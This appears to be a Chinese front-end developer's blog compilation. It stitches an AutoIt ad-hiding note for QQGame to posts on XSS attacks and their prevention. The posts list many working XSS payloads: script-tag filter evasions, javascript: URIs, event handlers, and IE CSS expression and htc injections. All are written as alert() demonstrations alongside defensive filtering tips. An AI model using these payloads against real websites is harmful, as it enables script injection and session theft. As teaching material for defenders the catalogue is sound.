本人是逢赌必输,自上次(圆心:“是每次吧”)和王爷搓麻又交了笔学费以后,我就“偷偷摸摸”地勤加练习 -- 上 QQGame 玩杭州麻将。不过 QQGame 这玩意广告还真的是多,一点错搞不好弹出个浏览器窗口。
眼看自己的“职位”永远在“初品茶叶”上久久不能翻身,遂一股脑的将气撒在了那些广告的身上。终于有天忍不住爆发,祭出我刚学的 AutoIt 写了个小脚本,隐藏了部分自己觉得“看不顺眼”的广告。

如上图,主要的隐藏部分主要是大厅上面的那个 Banner(真的很容易点错),以及右边聊天窗口的那排买道具的连接(我发誓,从来没买过道具)。
最后,此相关的 AutoIt 源代码和二进制文件打包下载。
--Split--
Taobao UED 招聘第三季已经上线,各位有兴趣的弟兄可以关注下。
接上一期,这里主要考虑 CSS 注入的方式。CSS 注入主要为背景图注入和针对 Exploer 的 CSS Expression 注入。
考虑没有完全将样式过滤的情况,下面的代码即有可能成为攻击代码
<xss style="behavior: url(xss.htc);">
上面的是针对 Exploer 的 htc 注入,htc 可以认为是个脚本。
<div style="background-image: xss.jpg">
谁会知道 xss.jpg 是什么内容呢?不过很多站点统计代码也是使用了这一原理。
<div style="width: expression(alert('xss'));"><img style="xss:expr/*xss*/ession(alert('xss'))">exp/*<A style='noxss:noxss("*//*");xss:ex/*xss*//*/*/pression(alert("xss"))'>针对 Exploer 的 Expression 要保持“淡定”,最好的做法就是过滤 style 属性。
如果没有将注释完全过滤充分,则又会在 Exploer 出现典型的注入漏洞
<!--[if gte IE 4]>
<script>alert('xss');</script>
<![endif]-->安全性问题,这个时候我反而感谢 Exploer 提供那么多的“机会”。
-- Split --
那么如何预防 XSS 注入?主要还是需要在用户数据过滤方面得考虑周全,在这里不完全总结下几个 Tips
- 假定所有的用户输入数据都是“邪恶”的
- 弱类型的脚本语言必须保证类型和期望的一致
- 考虑周全的正则表达式
- strip_tags、htmlspecialchars 这类函数很好用
- 外部的 Javascript 不一定就是可靠的
- 引号过滤必须要重点注意
- 除去不必要的 HTML 注释
- Exploer 求你放过我吧……
前端开发常见的安全问题就是会遭受 XSS 注入攻击,这里列举常见的代码注入方式。
Javascript 代码注入
Javascript 代码注入主要表现为直接引用未经校验的字符串、解析不安全的 JSON 数据(包括 JSONP)等。
很多时候会写这样的代码
document.write('u name is' + name);这就会形成一定的安全性问题(如果服务器端没有过滤的话),比如 name 为下面的数据,在没有经过过滤时
';alert('xss');//";alert('xss');//'';!--"<xss>=&{()}就会破坏原有代码结构,插入不期望的代码。
HTML 标签注入
HTML 注入是较为常见的一种方式,主要的注入入口为不周全的正则过滤、内联样式(针对 Exploer),下面是常见的注入代码
逃过不周全的正则过滤,解决方案为使用 PHP 的 htmlspecialchars 以及 htmlentities 等类似函数转义。
<sCrIpT src=xss.js></sCrIpT>
<script src=xss.js>
</script>
<script/xss src="xss.js"></script>
<script/SRC="xss.js"></script>
<<script>alert("xss");//<</script><script>a=/xss/
alert(a.source)</script>
从图片标签中注入,在些论坛上比较常见
<img src="javascript:alert('xss');"><img """><script>alert("xss")</script>"><img src="xss.php?param">
从连接标签上注入(虽然本人没有发现过案例,不过也不能轻视)
<script a=">" SRC="xss.js"></script>
<script =">" SRC="xss.js"></script>
<script a=">" '' SRC="xss.js"></script>
其他容易注入的地方
<body onload=alert('xss')><iframe src="javascript:alert('xss');"></iframe><embed src="xss.swf" AllowScriptAccess="always"></embed>
<meta http-equiv="Set-Cookie" content="USERID=<script>alert('xss')</script>">先摘记举例那么多,下期的内容包括“CSS 注入”、“其他注入方法”以及一般性解决方案,欢迎探讨和纠正。